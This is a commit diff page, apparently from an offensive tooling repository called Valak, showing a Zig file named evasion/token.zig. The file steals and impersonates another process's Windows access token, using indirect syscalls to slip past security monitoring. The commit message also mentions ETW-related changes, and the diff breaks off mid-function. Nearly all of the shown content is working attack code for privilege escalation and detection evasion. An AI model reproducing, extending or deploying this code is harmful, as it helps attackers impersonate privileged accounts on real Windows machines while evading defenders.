JYenn/Valak
1
3
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

valak: asm arg1 fix, NT_SUCCESS i32, byte scan off-by-one, etw guids

Browse Source
This commit is contained in:
SISTA
2026-07-18 09:30:00 +01:00
committed by JYenn
parent cc60a24d98
commit a1f467199f
17 changed files with 552 additions and 910 deletions
Download Patch File Download Diff File Expand all files Collapse all files
evasion/token.zig
+20 -17
View File
@@ -1,41 +1,44 @@
// Token impersonation via indirect syscalls.
const std = @import("std");
const windows = std.os.windows;
const nt = @import("nt.zig");
const syscall = @import("syscall.zig");
const win = @import("win32.zig");
const ThreadImpersonationToken: u32 = 5; // phnt ntpsapi.h THREADINFOCLASS enum
const ThreadImpersonationToken: u32 = 5;
pub fn stealToken(pid: u32) bool {
var cid = std.mem.zeroes(win.CLIENT_ID);
var cid = std.mem.zeroes(nt.CLIENT_ID);
cid.UniqueProcess = @ptrFromInt(@as(usize, pid));
var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES);
oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES);
var oa = std.mem.zeroes(nt.OBJECT_ATTRIBUTES);
oa.Length = @sizeOf(nt.OBJECT_ATTRIBUTES);
var proc_handle: win.HANDLE = undefined;
if (!win.NT_SUCCESS(syscall.nt_open_process(&proc_handle, win.PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid)))
var proc_handle: windows.HANDLE = undefined;
if (!nt.NT_SUCCESS(syscall.nt_open_process(&proc_handle, nt.PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid)))
return false;
defer _ = syscall.nt_close(proc_handle);
var token_handle: win.HANDLE = undefined;
if (!win.NT_SUCCESS(syscall.nt_open_process_token(proc_handle, win.TOKEN_DUPLICATE | win.TOKEN_QUERY | win.TOKEN_IMPERSONATE, &token_handle)))
return false;
var token_handle: windows.HANDLE = undefined;
if (!nt.NT_SUCCESS(syscall.nt_open_process_token(
proc_handle, nt.TOKEN_DUPLICATE | nt.TOKEN_QUERY | nt.TOKEN_IMPERSONATE, &token_handle,
))) return false;
defer _ = syscall.nt_close(token_handle);
var dup_token: win.HANDLE = undefined;
if (!win.NT_SUCCESS(syscall.nt_duplicate_token(token_handle, win.MAXIMUM_ALLOWED, null, 0, @intFromEnum(win.TOKEN_TYPE.TokenImpersonation), &dup_token)))
return false;
var dup_token: windows.HANDLE = undefined;
if (!nt.NT_SUCCESS(syscall.nt_duplicate_token(
token_handle, nt.MAXIMUM_ALLOWED, null, nt.FALSE_BOOL(), @intFromEnum(nt.TOKEN_TYPE.TokenImpersonation), &dup_token,
))) return false;
defer _ = syscall.nt_close(dup_token);
return win.NT_SUCCESS(syscall.nt_set_information_thread(
return nt.NT_SUCCESS(syscall.nt_set_information_thread(
syscall.nt_current_thread(),
ThreadImpersonationToken,
@ptrCast(&dup_token),
@sizeOf(win.HANDLE),
@sizeOf(windows.HANDLE),
));
}
// Revert to process token by setting ThreadImpersonationToken to NULL.
pub fn rev2self() bool {
return win.NT_SUCCESS(syscall.nt_set_information_thread(
return nt.NT_SUCCESS(syscall.nt_set_information_thread(
syscall.nt_current_thread(),
ThreadImpersonationToken,
null,